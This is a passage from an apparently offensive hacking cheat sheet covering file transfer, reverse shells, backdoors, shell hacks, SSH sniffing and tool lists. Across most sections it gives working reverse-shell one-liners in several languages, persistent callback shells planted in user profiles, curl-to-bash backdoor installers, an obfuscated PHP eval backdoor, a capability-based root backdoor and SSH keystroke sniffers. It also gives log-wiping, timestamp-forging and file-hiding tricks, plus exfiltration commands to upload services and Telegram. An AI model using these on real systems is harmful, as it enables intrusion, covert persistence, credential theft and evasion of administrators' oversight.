```sh ## openssl encode openssl base64 </etc/issue.net ``` <details> <summary>Output - CLICK HERE</summary> > VWJ1bnR1IDE4LjA0LjIgTFRTCg== </details> ```sh ## openssl decode (cut & paste the 1 line from above): openssl base64 -d >issue.net-COPY ``` #### xxd encode/decode ```sh ## xxd encode xxd -p </etc/issue.net ``` <details> <summary>Output - CLICK HERE</summary> > 4b616c6920474e552f4c696e757820526f6c6c696e670a </details> ```sh ## xxd decode xxd -p -r >issue.net-COPY ``` <a id="file-transfer-screen"></a> ### 4.ii. File transfer - using *screen* #### From REMOTE to LOCAL (download) Have a *screen* running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output to screen-xfer.txt: > CTRL-a : logfile screen-xfer.txt > CTRL-a H We use *openssl* to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and *screen* will write this data to *screen-xfer.txt*: ```sh ## On the remote system encode issue.net openssl base64 </etc/issue.net ``` Stop your local screen from logging any further data: > CTRL-a H On your local computer decode the file: ```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt ``` #### From LOCAL to REMOTE (upload) On your local system encode the data: ```sh openssl base64 </etc/issue.net >screen-xfer.txt ``` On the remote system (and from within the current *screen*): ```sh openssl base64 -d ``` Get *screen* to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system: > CTRL-a : readbuf screen-xfer.txt > CTRL-a : paste . > CTRL-d > CTRL-d Note: Two CTRL-d are required due to a [bug in openssl](https://github.com/openssl/openssl/issues/9355). <a id="file-transfer-gs-netcat"></a> ### 4.iii. File transfer - using gs-netcat and sftp Use [gs-netcat](https://github.com/hackerschoice/gsocket) and encapsulate the sftp protocol within. Allows access to hosts behind NAT/Firewall. ```sh gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall ``` From your workstation execute this command to connect to the SFTP server: ```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation ``` <a id="http"></a> ### 4.iv. File transfer - using HTTP ```sh ## Spawn a temporary HTTP server and share the current working directory. python -m http.server 8080 ``` ```sh ## Request a temporary tunnel on a public domain cloudflared tunnel -url localhost:8080 ``` <a id="burl"></a> ### 4.iv. File transfer without curl Using bash, download only: ```sh burl() { IFS=/ read -r proto x host query <<<"$1" exec 3<>"/dev/tcp/${host}/${PORT:-80}" echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3 (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3 exec 3>&- } # burl http://ipinfo.io # PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz ``` <a id="webdav"></a> ### 4.v. File transfer - using WebDAV On your workstation (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV: ```sh cloudflared tunnel --url localhost:8080 & # [...] # +--------------------------------------------------------------------------------------------+ # | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): | # | https://example-foo-bar-lights.trycloudflare.com | # +--------------------------------------------------------------------------------------------+ # [...] wsgidav --port=8080 --root=. --auth=anonymous ``` On another server: ```sh # Upload a file to your workstation curl -T file.dat https://example-foo-bar-lights.trycloudflare.com # Create a directory remotely curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources # Create a directory hirachy remotely find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{} # Upload all *.c files (in parallel): find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{} ``` Access the share from Windows (to drag & drop files) in File Explorer: ``` \\example-foo-bar-lights.trycloudflare.com@SSL\sources ``` Or mount the WebDAV share on Windows (Z:/): ``` net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources ``` <a id="tg"></a> ### 4.vi. File transfer to Telegram There are [zillions of upload services](#cloudexfil) but TG is a neat alternative. Get a _TG-Bot-Token_ from the [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Then create a new TG group and add your bot to the group. Retrieve the _chat_id_ of that group: ```sh curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq # If you get only {"ok":true,"result":[]} then remove and add the bot again. ``` ```sh # Upload file.zip straight into the group chat: curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>" ``` --- <a id="reverse-shell"></a> ## 5. Reverse Shell / Dumb Shell <a id="reverse-shell-gs-netcat"></a> **5.i.a. Reverse shell with gs-netcat** Use [gsocket deploy](https://gsocket.io/deploy). It spawns a fully functioning PTY reverse shell and using the Global Socket Relay network. It uses 'password hashes' instead of IP addresses to connect. This means that you do not need to run your own Command & Control server for the backdoor to connect back to. If netcat is a swiss army knife than gs-netcat is a german battle axe :> ```sh gs-netcat -s MySecret -l -i # Host ``` Use -D to start the reverse shell in the background (daemon) and with a watchdog to auto-restart if killed. To connect to the shell from your workstation: ```sh gs-netcat -s MySecret -i ``` Use -T to tunnel trough TOR. <a id="reverse-shell-bash"></a> **5.i.b. Reverse shell with Bash** Start netcat to listen on port 1524 on your system: ```sh nc -nvlp 1524 ``` On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt: ```sh # If the current shell is Bash already: (bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) & # If the current shell is NOT Bash then we need: bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &' # or hide the bash process as 'kqueue' bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1) &' ``` <a id="reverse-shell-no-bash"></a> **5.i.c. Reverse shell without Bash** Embedded systems do not always have Bash and the */dev/tcp/* trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet: On the remote system: ```sh nc -e /bin/bash -vn 3.13.3.7 1524 ``` Variant if *'-e'* is not supported: ```sh mkfifo /tmp/.io sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io ``` Telnet variant: ```sh mkfifo /tmp/.io sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io ``` Telnet variant when mkfifo is not supported (Ulg!): ```sh (touch /dev/shm/.fio; sleep 60; rm -f /dev/shm/.fio) & tail -f /dev/shm/.fio | sh -i 2>&1 | telnet 3.13.3.7 1524 >/dev/shm/.fio ``` Note: Use */tmp/.fio* if */dev/shm* is not available. Note: This trick logs your commands to a file. The file will be *unlinked* from the fs after 60 seconds but remains useable as a 'make shift pipe' as long as the reverse tunnel is started within 60 seconds. <a id="revese-shell-remote-moe"></a> **5.i.d. Reverse shell with remote.moe and ssh** It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe): On your workstation: ```sh # First Terminal - Create a remote.moe tunnel to your workstation ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r # Note down the 'remote.moe' address which will look something like # uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe # Second Terminal - start listening for the reverse shell nc -vnlp 8080 ``` On the target(needs SSH and Bash): ```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)' ``` On the target (alternative; needs ssh, bash and mkfifo): ```sh rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &) ``` <a id="reverse-shell-python"></a> **5.i.e. Reverse shell with Python** ```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` <a id="reverse-shell-perl"></a> **5.i.f. Reverse shell with Perl** ```sh # method 1 perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # method 2 perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' ``` <a id="reverse-shell-php"></a> **5.i.g. Reverse shell with PHP** ```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");' ``` <a id="reverse-shell-upgrade"></a> <a id="reverse-shell-pty"></a> **5.ii.a. Upgrade a reverse shell to a PTY shell** Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell: ```sh # Using script exec script -qc /bin/bash /dev/null # Linux exec script -q /dev/null /bin/bash # BSD ``` ```sh # Using python exec python -c 'import pty; pty.spawn("/bin/bash")' ``` <a id="reverse-shell-interactive"></a> **5.ii.b. Upgrade a reverse shell to a fully interactive shell** ...and if we also like to use Ctrl-C etc then we have to go all the way and upgrade the reverse shell to a real fully colorful interactive shell: ```sh # On the target host spwan a PTY using any of the above examples: python -c 'import pty; pty.spawn("/bin/bash")' # Now Press Ctrl-Z to suspend the connection and return to your own terminal. ``` ``` # On your terminal execute: stty raw -echo opost; fg ``` ``` # On target host export SHELL=/bin/bash export TERM=xterm-256color reset stty rows 24 columns 120 # Pimp up your prompt PS1='{THC} USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] ' ``` <a id="reverse-shell-socat"></a> **5.ii.c. Reverse shell with socat (fully interactive)** ...or install socat and get it done without much fiddling about: ```sh # on attacker's host (listener) socat file:`tty`,raw,echo=0 tcp-listen:1524 # on target host (reverse shell) socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524 ``` --- <a id="backdoor"></a> ## 6. Backdoors Mostly we use gs-netcat's automated deployment script: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy). ```sh bash -c "$(curl -fsSLk gsocket.io/x)" ``` or ```sh bash -c "$(wget --no-check-certificate -qO- gsocket.io/x)" ``` <a id="backdoor-background-reverse-shell"></a> **6.i. Background reverse shell** A reverse shell that keeps trying to connect back to us every 360 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected. ```sh setsid bash -c 'while :; do bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null ``` or the user's *~/.profile* (also stops multiple instances from being started): ```sh fuser /dev/shm/.busy &>/dev/null || nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 ; sleep 360; done' &>/dev/null & ``` <a id="backdoor-auth-keys"></a> **6.ii. authorized_keys** Add your ssh public key to */root/.ssh/authorized_keys*. It's the most reliable backdoor ever :> * It survives reboots. * It even survives re-installs. Admins have been known to make a backup of authorized_keys and then put it straight back onto the newly installed system. * We have even seen our key being copied to other companies! Tip: Change the name at the end of the ssh public keyfile to something obscure like *backup@ubuntu* or the admin's real name: ``` $ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0 [...] u1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C c3zxLNse/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp/aEAujtHDHp backup@ubuntu ``` <a id="backdoor-network"></a> **6.iii. Remote Access to an entire network** Install [gs-netcat](https://github.com/hackerschoice/gsocket). It creates a SOCKS exit-node on the Host's private LAN which is accessible through the Global Socket Relay Network without the need to run your own relay-server (e.g. access the remote private LAN directly from your workstation): ```sh gs-netcat -l -S # compromised Host ``` Now from your workstation you can connect to ANY host on the Host's private LAN: ```sh gs-netcat -p 1080 # Your workstation. # Access route.local:22 on the Host's private LAN from your Workstation: socat - "SOCKS4a:127.1:route.local:22" ``` Read [Use any tool via Socks Proxy](#scan-proxy). Other methods: * [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - our very own article * [Reverse Wireguard](https://thc.org/segfault/wireguard) - from segfault.net to any (internal) network. <a id="carriage-return-backdoor"></a> **6.iv. Smallest PHP Backdoor** Add this line to the beginning of any PHP file: ```php <?php $i=base64_decode("aWYoaXNzZXQoJF9HRVRbMF0pKXtlY2hvIGAkX0dFVFswXWA7ZXhpdDt9");eval($i);?> ``` (Thanks @dono for making this 3 bytes smaller than the smallest) Test the backdoor: ```sh ### 1. Optional: Start a test PHP server cd /var/www/html && php -S 127.0.0.1:8080 ### Without executing a command curl http://127.0.0.1:8080/test.php ### With executing a command curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" ``` <a id="ld-backdoor"></a> **6.v. Local Root Backdoor** Stay root once you got root ```bash ### Execute as root user setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ``` Become root ```bash ### Execute as non-root user /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' ``` --- <a id="shell-hacks"></a> ## 7. Shell Hacks <a id="shred"></a> **7.i. Shred & Erase a file** ```sh shred -z foobar.txt ``` ```sh ## SHRED without shred command shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt ``` Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot. Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file. <a id="restore-timestamp"></a> **7.ii. Restore the date of a file** Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modifed. Use *touch* to change the file data to the date of another file (in this example, */etc/shadow*) ```sh touch -r /etc/shadow /etc/passwd ``` <a id="shell-clean-logs"></a> **7.iii. Clear logfile** This will reset the logfile to 0 without having to restart syslogd etc: ```sh cat /dev/null >/var/log/auth.log ``` This will remove any line containing the IP `1.2.3.4` from the log file: ```sh #DEL=thc.org #DEL=${SSH_CLIENT%% *} DEL=1.2.3.4 LOG=/var/log/auth.log IFS="" a=$(sed "/${DEL}/d" <"${LOG}") && echo "$a">"${LOG}" ``` <a id="shell-hide-files"></a> **7.iv. Hide files from that User without root privileges** Our favorite working directory is */dev/shm/*. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME. Hiding permanent files: Method 1: ```sh alias ls='ls -I system-dev' ``` This will hide the directory *system-dev* from the *ls* command. Place in User's *~/.profile* or system wide */etc/profile*. Method 2: Tricks from the 80s. Consider any directory that the admin rarely looks into (like */boot/.X11/..* or so): ```sh mkdir '...' cd '...' ``` Method 3: Unix allows filenames with about any ASCII character but 0x00. Try tab (*\t*). Happens that most Admins do not know how to cd into any such directory. ```sh mkdir $'\t' cd $'\t' ``` <a id="linux-info"></a> **7.v. Find out Linux Distro** ```sh # Find out Linux Distribution uname -a; lsb_release -a; cat /etc/*release /etc/issue* /proc/version ``` ```sh # Speed check the system curl -sL bench.sh | bash # Another speed check: # curl -sL yabs.sh | bash ``` --- <a id="crypto"></a> ## 8. Crypto <a id="gen-password"></a> **8.i. Generate quick random Password** Good for quick passwords without human element. ```sh openssl rand -base64 24 ``` If `openssl` is not available then we can also use `head` to read from `/dev/urandom`. ```sh head -c 32 < /dev/urandom | xxd -p -c 32 ``` or make it alpha-numeric ```sh head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16 ``` <a id="crypto-filesystem"></a> **8.ii.a. Linux transportable encrypted filesystems - cryptsetup** Create a 256MB large encrypted file system. You will be prompted for a password. ```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted mkfs.ext3 /tmp/crypted ``` Mount: ```sh losetup -f losetup /dev/loop0 /tmp/crypted cryptsetup open /dev/loop0 crypted mount -t ext3 /dev/mapper/crypted /mnt/crypted ``` Store data in `/mnt/crypted`, then unmount: ```sh umount /mnt/crypted cryptsetup close crypted losetup -d /dev/loop0 ``` <a id="encfs"></a> **8.ii.b. Linux transportable encrypted filesystems - EncFS** Create ```.sec``` and store the encrypted data in ```.raw```: ```sh mkdir .raw .sec encfs --standard "${PWD}/.raw" "${PWD}/.sec" ``` unmount: ```sh fusermount -u .sec ``` <a id="encrypting-file"></a> **8.iii Encrypting a file** Encrypt your 0-Days and log files before transfering them - please. (and pick your own password): ```sh # Encrypt openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc ``` ```sh # Decrypt openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt ``` --- <a id="ssh-sniffing"></a> ## 9. SSH Sniffing <a id="ssh-sniffing-strace"></a> **9.i Sniff a user's SSH session with strace** ```sh strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done ``` Dirty way to monitor a user who is using *ssh* to connect to another host from a computer that you control. <a id="ssh-sniffing-script"></a> **9.ii Sniff a user's SSH session with script** The tool 'script' has been part of Unix for decades. Add 'script' to the user's .profile. The user's keystrokes and session will be recorded to ~/.ssh-log.txt the next time the user logs in: ```sh echo 'exec script -qc /bin/bash ~/.ssh-log.txt' >>~/.profile ``` Consider using [zap-args](#bash-hide-arguments) to hide the the arguments and /dev/tcp/3.13.3.7/1524 as an output file to log to a remote host. <a id="ssh-sniffing-wrapper"></a> **9.iii. Sniff a user's SSH session with a wrapper script** Even dirtier way in case */proc/sys/kernel/yama/ptrace_scope* is set to 1 (strace will fail on already running SSH clients unless uid=0) Create a wrapper script called 'ssh' that executes strace + ssh to log the session: <details> <summary>Show wrapper script - CLICK HERE</summary> ```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile # Create a log directory and our own ssh binary mkdir -p ~/.local/bin ~/.local/logs cat <<__EOF__ >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log \$\$' /usr/bin/ssh \$@ __EOF__ cat <<__EOF__ >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\\" | while read -r x; do [[ \${#x} -gt 5 ]] && continue [[ \${x} == +(\\\\n|\\\\r) ]] && { echo ""; continue; } echo -n "\${x}" done >\$HOME/.local/logs/ssh-log-"\${1}"-\`date +%s\`.txt __EOF__ chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile echo -e "\033[1;32m***SUCCESS***. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E ~/.profile >~/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m" ``` (thanks to Gerald for testing this) </details> The SSH session will be sniffed and logged to *~/.ssh/logs/* the next time the user logs into his shell and uses SSH. <a id="ssh-sniffing-sshit"></a> **9.iv Sniff a user's SSH session using SSH-IT** The easiest way is using [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/). ```sh bash -c "$(curl -fsSL ssh-it.thc.org/x)" ``` --- <a id="vpn-shell"></a> ## 10. VPN & Shells <a id="shell"></a> **10.i. Disposable Root Servers** ```console $ ssh [email protected] # Use password 'segfault' ``` https://thc.org/segfault <a id="vpn"></a> **10.ii. VPN/VPS/Proxies** Trusted VPN Providers 1. https://www.mullvad.net 1. https://www.cryptostorm.is 1. https://proton.me - Offers FREE VPN 1. https://vpn.fail - Run by volunteers Virtual Private Servers 1. https://www.hetzner.com - Cheap 1. https://dmzhost.co - Ignore most abuse requests 2. https://alexhost.com - DMCA free zone 3. https://basehost.eu - Ignores court orders 4. https://buyvm.net - Warez best friend 5. https://serverius.net - Used by gangsters 6. https://1984.hosting - Privacy 7. https://bithost.io - Reseller for DigitalOcean, Linode, Hetzner and Vultr (accepts Crypto) 8. https://www.privatelayer.com - Swiss based. Proxies (we dont use any of those) 1. [V2Ray Proxies](https://github.com/mahdibland/V2RayAggregator) 2. [Hola Proxies](https://github.com/snawoot/hola-proxy) 3. [proxyscrape.com](https://api.proxyscrape.com/v2/?request=displayproxies&protocol=all&timeout=750&country=all) 4. [my-proxy.com](https://www.my-proxy.com) 5. [getfreeproxylists.blogspot.com](https://getfreeproxylists.blogspot.com/) 6. [proxypedia.org](https://proxypedia.org/) 7. [socks-proxy.net](https://socks-proxy.net/) 8. [Segfault](https://www.thc.org/segfault): `curl -x socks5h://$(PROXY) ipinfo.io` - selects a random proxy for every request Many other services (for free) 1. https://free-for.dev/ --- <a id="osint"></a> ## 11. Intelligence Gathering | OSINT Hacker Tools || | --- | --- | | https://osint.sh | Free. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search and much more | | https://cli.fyi | Free. curl/json interface to many services. Try `curl cli.fyi/me` or `curl cli.fyi/thc.org`. | | https://hackertarget.com/ip-tools/ | Free OSINT Service (Reverse IP, MTR, port scan, CMS scans, Vulnerability Scans, API support) | | https://account.shodan.io/billing/tour | Open Port DB & DNS Lookup from around the world | | https://dnsdumpster.com/ | Domain Recon Tool | | https://crt.sh/ | TLS Certificate Search | | https://archive.org/web/ | Historical view of websites | | https://www.farsightsecurity.com/solutions/dnsdb/ | DNS search (not free) | | https://wigle.net/ | Wireless Network Mapper | | https://radiocells.org/ | Cell Tower Informations | | https://www.shodan.io/ | Search Engine to find devices & Banners (not free) | | https://spur.us/context/me | IP rating `https://spur.us/context/<IP>` | | https://www.abuseipdb.com | IP abuse rating | | OSINT for Detectives || | --- | --- | | https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Nixintel's OSINT Resource List | | https://github.com/jivoi/awesome-osint | Awesome OSINT list | | https://cipher387.github.io/osint_stuff_tool_collection/ | OSINT tools collection | | https://osintframework.com/ | Many OSINT tools | | OSINT Databases || | --- | --- | | https://data.ddosecrets.com/ | Database Dumps --- <a id="misc"></a> ## 12. Miscellaneous <a id="tools"></a> **12.i. Tools of the trade** Comms 1. [CryptoStorm Email](https://www.cs.email/) - Disposable emails (send & receive). (List of [Disposable-email-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-email-services])). 1. [Temp-Mail](https://temp-mail.org/en/) - Disposable email service with great Web GUI. Receive only. 1. [Quackr.Io](https://quackr.io/) - Disposable SMS/text messages (List of [Disposable-SMS-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-SMS-services)). 1. [Crypton](https://crypton.sh/) - Rent a private SIM/SMS with crypto ([.onion](http://cryptonx6nsmspsnpicuihgmbbz3qvro4na35od3eht4vojdo7glm6yd.onion/)) OpSec 1. [OpSec for Rebellions](https://medium.com/@hackerschoice/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca) - Start Here. The simplest 3 steps. 1. [RiseUp](https://riseup.net/) - Mail, VPN and Tips for (online) rebellions. 1. [Neko](https://github.com/m1k1o/neko) - Launch Firefox in Docker and access via 127.0.0.1:8080 (WebRTC) 2. [x11Docker](https://github.com/mviereck/x11docker) - Isolate any X11 app in a container (Linux & Windows only). ([Article](https://techviewleo.com/run-gui-applications-in-docker-using-x11docker/?expand_article=1)) 3. [DangerZone](https://github.com/freedomofpress/dangerzone) - Make PDFs safe before opening them. 4. [ExifTool](https://exiftool.org/) - Remove meta data from files (`exiftool -all= example.pdf example1.jpg ...`) 5. [EFF](https://www.eff.org/) - Clever advise for freedom figthers. Exploits 1. [Traitor](https://github.com/liamg/traitor) - Tries various exploits/vulnerabilities to gain root (LPE) 1. [PacketStorm](https://packetstormsecurity.com) - Our favorite site ever since we shared a Pizza with fringe[at]dtmf.org in NYC in 2000 1. [ExploitDB](https://www.exploit-db.com) - Also includes metasploit db and google hacking db 1. [Shodan/Exploits](https://exploits.shodan.io/welcome) - Similar to exploit-db System Information Gathering 1. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Quick system informations for hackers. 1. https://github.com/zMarch/Orc - Post-exploit tool to find local RCE (type `getexploit` after install) Backdoors 1. https://www.gsocket.io/deploy - The world's smallest backdoor 1. https://github.com/m0nad/Diamorphine - Linux Kernel Module for hiding processes and files 1. https://www.kali.org/tools/weevely - PHP backdoor Network Scanners 1. https://github.com/robertdavidgraham/masscan - Scan the entire Internet 1. https://github.com/ptrrkssn/pnscan - Fast network scanner 1. https://zmap.io/ - ZMap & ZGrab Vulnerability Scanners 1. [Raccoon](https://github.com/evyatarmeged/Raccoon) - Reconnaissance and Information Gathering 1. [Osmedeus](https://github.com/j3ssie/osmedeus) - Vulnerability and Information gathering 1. [FullHunt](https://github.com/fullhunt/) - log4j and spring4shell scanner DDoS 1. [DeepNet](https://github.com/the-deepnet/ddos) - we despise DDoS but if we had to then this would be our choice. Static Binaries / Warez 1. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64 1. https://iq.thc.org/cross-compiling-exploits Phishing 1. https://github.com/htr-tech/zphisher - We don't hack like this but this is what we would use. Tools 1. https://github.com/guitmz/ezuri - Obfuscate Linux binaries 1. https://tmate.io/ - Share A screen with others Callback / Canary / Command & Control 1. http://dnslog.cn 1. https://app.interactsh.com 1. https://api.telegram.org 1. https://webhook.site Tunneling 1. [Gost](https://github.com/ginuerzh/gost/blob/master/README_en.md) 1. [TCP Gender Changer](https://tgcd.sourceforge.net/) for all your 'connect back' needs. 1. [ngrok](https://ngrok.com/download), [cloudflared](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps) or [pagekite](https://pagekite.net/) to make a server behind NAT accessible from the public Internet. Exfil<a id="cloudexfil"></a> 1. [Blitz](https://github.com/hackerschoice/gsocket#blitz) - `blitz -l` / `blitz foo.txt` 1. [Mega](https://mega.io/cmd) 2. [oshiAt](https://oshi.at/) - also on TOR. `curl -T foo.txt https://oshi.at` 4. [AnonFiles](https://www.anonfiles.com) - `curl -F "[email protected]" https://api.anonfiles.com/upload` 5. [Transfer.sh](https://transfer.sh/) - `curl -T foo.txt https://transfer.sh` 6. [LitterBox](https://litterbox.catbox.moe/tools.php) - `curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php` 7. [Croc](https://github.com/schollz/croc) - `croc send foo.txt / croc anit-price-example` 8. [MagicWormhole](https://pypi.org/project/magic-wormhole/) Publishing 1. [free BT/DC/eD2k seedbox](https://valdikss.org.ru/schare/) 1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok. 1. [DuckDNS](https://www.duckdns.org/) - Free Dynamic Domain Names 3. [afraid.org](https://www.afraid.org) - Free Dynamic DNS for your domain 2. [he.net](https://dns.he.net/) - Free Nameserver service 4. [0bin](https://0bin.net/) / [paste.ec](https://paste.ec) - Encrypted PasteBin Forums, Channels and Conferences 1. [THC](https://t.me/thcorg) - THC's public channel 1. [0x00Sec](https://0x00sec.org/) - Reverse Engineering & Hacking with a pinch of Malware 2. [CyberArsenal](https://cyberarsenal.org/)/[Telegram](https://t.me/pwn3rzs) - Hacker Warez, tools and programs 3. [AlligatorCon](https://www.alligatorcon.eu/) - the original 4. [0x41con](https://0x41con.org/) 5. [TumpiCon](https://tumpicon.org/) Mindmaps & Knowledge 1. [Active Directory](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) 1. [Z Library](https://singlelogin.me)/[Z Library on TOR](http://bookszlibb74ugqojhzhg2a63w5i2atv5bqarulgczawnbmsb6s6qead.onion/) <a id="cool-linux-commands"></a> **12.ii. Cool Linux commands** 1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/ 1. https://github.com/ibraheemdev/modern-unix <a id="tmux"></a> **12.iii. tmux** | | Tmux Cheat Sheet | | --- | --- | | Save Scrollback | ```Ctrl+b``` + ```:```, then type ```capture-pane -S -``` followed by ```Ctrl+b``` + ```:``` and type ```save-buffer filename.txt```. | | Attach | Start a new tmux, then type ```Ctrl+b``` + ```s``` and use ```LEFT```, ```RIGHT``` to expand and select any session. | | Logging | ```Ctrl+b``` + ```Shift + P``` to start and stop. | | Menu | ```Ctrl+b``` + ```>```. Then use ```Ctrl+b``` + ```UP```, ```DOWN```, ```LEFT``` or ```RIGHT``` to move between the panes. | <a id="useful-commands"></a> **12.iv. Useful commands** Use `lsof -Pni` or `netstat -putan` (or `ss -putan`) to list all Internet (_-tu_) connections. Use `ss -lntp` to show all listening (_-l_) TCP (_-t_) sockets. Use 